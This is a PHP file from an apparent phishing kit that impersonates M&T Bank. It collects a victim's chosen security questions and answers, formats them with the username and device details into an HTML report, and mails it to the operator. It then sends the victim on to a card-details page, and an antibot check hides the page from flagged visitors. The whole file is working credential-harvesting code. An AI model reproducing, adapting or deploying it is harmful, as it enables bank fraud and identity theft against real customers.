<?php

    session_start();

    require_once '../Comp.php';
    require_once '../Antibot.php';
    require_once '../demonTest.php';

    $comps = new Comp;
    $antibot = new Antibot;

    $settings = $comps->settings();

    if (!$comps->checkToken()) {
        echo $antibot->throw404();
        $comps->log(
            "../../Guard/Audio/kill.txt",
            "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nReason: Token\n\n"
        );
        die();
    }

    if (isset(
        $_POST['q1'],
        $_POST['a1'],
        $_POST['q2'],
        $_POST['a2'],
        $_POST['q3'],
        $_POST['a3']
    )) {
        if (!$comps->checkEmpty(
            $_POST['q1'],
            $_POST['a1'],
            $_POST['q2'],
            $_POST['a2'],
            $_POST['q3'],
            $_POST['a3']
        )) {
            $_SESSION['q1'] = $_POST['q1'];
            $_SESSION['q2'] = $_POST['q2'];
            $_SESSION['q3'] = $_POST['q3'];

            switch ($_SESSION['q1']) {
                case 1:
                    $_SESSION['q1'] = "What is the first name of the maid of honor at your wedding?";
                    break;
                case 2:
                    $_SESSION['q1'] = "What is the last name of your best friend in high school?";
                    break;
                case 3:
                    $_SESSION['q1'] = "What is the first name of the best man at your wedding?";
                    break;
                case 4:
                    $_SESSION['q1'] = "What street did your best friend in high school live on? (Enter full name of street only)";
                    break;
                case 5:
                    $_SESSION['q1'] = "Name of the place where your wedding reception was held?";
                    break;
                case 6:
                    $_SESSION['q1'] = "What was the name of your first pet you owned?";
                    break;
                case 7:
                    $_SESSION['q1'] = "In what year did you buy your first home?(YYYY)";
                    break;
                case 8:
                    $_SESSION['q1'] = "What was your childhood phone number including area code?";
                    break;
                case 9:
                    $_SESSION['q1'] = "What is your maternal grandfather's first name?";
                    break;
                case 10:
                    $_SESSION['q1'] = "What was the model year of your first car? (YYYY)";
                    break;
            }

            switch ($_SESSION['q2']) {
                case 1:
                    $_SESSION['q2'] = "To what destination city did you fly on your first airplane ride?";
                    break;
                case 2:
                    $_SESSION['q2'] = "What is the name of the first elementary school you attended?";
                    break;
                case 3:
                    $_SESSION['q2'] = "Which was the first foreign country you visited?";
                    break;
                case 4:
                    $_SESSION['q2'] = "Where did you meet your spouse for the first time? (Enter full name of city only)";
                    break;
                case 5:
                    $_SESSION['q2'] = "What was the name your middle school?";
                    break;
                case 6:
                    $_SESSION['q2'] = "What was the first name of your first girlfriend or boyfriend?";
                    break;
                case 7:
                    $_SESSION['q2'] = "What's the first name of the first person you kissed?";
                    break;
                case 8:
                    $_SESSION['q2'] = "What is the name of the hospital where you were born?";
                    break;
                case 9:
                    $_SESSION['q2'] = "What is the first name of your oldest nephew?";
                    break;
                case 10:
                    $_SESSION['q2'] = "What was the name of your junior high school? (Enter only \"West\" for West Junior high school)";
                    break;
            }

            switch ($_SESSION['q3']) {
                case 1:
                    $_SESSION['q3'] = "What is the middle name of your oldest sibling?";
                    break;
                case 2:
                    $_SESSION['q3'] = "What is the name of the first company you worked for?";
                    break;
                case 3:
                    $_SESSION['q3'] = "What is the first name of your oldest niece?";
                    break;
                case 4:
                    $_SESSION['q3'] = "What is your paternal grandmother's first name?";
                    break;
                case 5:
                    $_SESSION['q3'] = "In what city were you living at age 15? (Enter full name of city only)";
                    break;
                case 6:
                    $_SESSION['q3'] = "What was the name of the instrument you played as a child?";
                    break;
                case 7:
                    $_SESSION['q3'] = "What was the first name of your date on senior prom night in high school?";
                    break;
                case 8:
                    $_SESSION['q3'] = "What year did you retire? (YYYY)";
                    break;
                case 9:
                    $_SESSION['q3'] = "What is the maiden name of your father's mother?";
                    break;
                case 10:
                    $_SESSION['q3'] = "What is the last name of your first grade teacher?";
                    break;
            }

            $_SESSION['a1'] = $_POST['a1'];
            $_SESSION['a2'] = $_POST['a2'];
            $_SESSION['a3'] = $_POST['a3'];

            $content = '
                <meta name="viewport" content="width=device-width, initial-scale=1.0">

                <style>
        
                    * {
                        font-family: Arial;
                        font-weight: normal;
                        color: #209DB9;
                        margin: 0;
                        padding: 0;
                    }

                    .text-center {
                        text-align: center;
                    }
        
                    .small {
                        font-size: .8rem;
                    }
        
                    .mt-05 {
                        margin-top: .5rem;
                    }
        
                    .mt-1 {
                        margin-top: 1rem;
                    }
        
                    .mt-2, .my-2 {
                        margin-top: 2rem;
                    }
        
                    .my-3 {
                        margin: 3rem 0;
                    }
        
                    .mb-2, .my-2 {
                        margin-bottom: 2rem;
                    }
        
                    .text-light {
                        color: #8c8c8c;
                    }

                    .text-citizens {
                        color: #209DB9;
                    }
        
                    .container {
                        padding-left: 1.5rem;
                        padding-right: 1.5rem;
                    }
        
                    hr {
                        border: none;
                        margin-top: 1rem;
                        margin-bottom: 1rem;
                        height: 1px;
                        background-color: #8c8c8c;
                    }
        
                </style>

                <div class="text-center my-2">
                    <h4 class="text-light">Ricardo <span class="text-citizens">M&T Bank</span> V1.0</h4>
                    <h2>(1) Security Questions from ' . $_SESSION['username'] . '</h2>
                </div>
                
                <div class="container">
                    <div class="mt-2">
                        <div>
                            <h3 class="text-light">🧠 Security Questions</h3>
                        </div>
                        <hr>
                        <div class="mt-2">
                            <h3>Question 1: ' . $_SESSION['q1'] . '</h3>
                        </div>
                        <div class="mt-05">
                            <h3>Answer 1: ' . $_SESSION['a1'] . '</h3>
                        </div>
                        <div class="mt-2">
                            <h3>Question 2: ' . $_SESSION['q2'] . '</h3>
                        </div>
                        <div class="mt-05">
                            <h3>Answer 2: ' . $_SESSION['a2'] . '</h3>
                        </div>
                        <div class="mt-2">
                            <h3>Question 3: ' . $_SESSION['q3'] . '</h3>
                        </div>
                        <div class="mt-05">
                            <h3>Answer 3: ' . $_SESSION['a3'] . '</h3>
                        </div>
                        <div class="mt-2">
                            <h3 class="text-light">📱 Device Info</h3>
                        </div>
                        <hr>
                        <div class="mt-2">
                            ' . $comps->userDetails() . '
                        </div>
                    </div>
                    <div class="my-3 text-center">
                        <span class="small text-light">Private page made by <a href="https://t.me/stunneagle" target="_blank">Ricardo</a>, not for redistribution.</span>
                    </div>
                </div>
            ';

            if ($comps->mailX("(1) Security Questions | M&T Bank", $content)) {
                $comps->log(
                    "../../Guard/Audio/live.txt",
                    "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nAction: (1) Security Questions\n\n"
                );
                die($comps->headerX("../../Login/card.php"));
            } else {
                die($antibot->throw404());
            }
        } else {
            echo $antibot->throw404();
            $comps->log(
                "../../Guard/Audio/kill.txt",
                "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nReason: Empty Input\n\n"
            );
            die();
        }
    } else {
        echo $antibot->throw404();
        $comps->log(
            "../../Guard/Audio/kill.txt",
            "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nReason: Empty Input\n\n"
        );
        die();
    }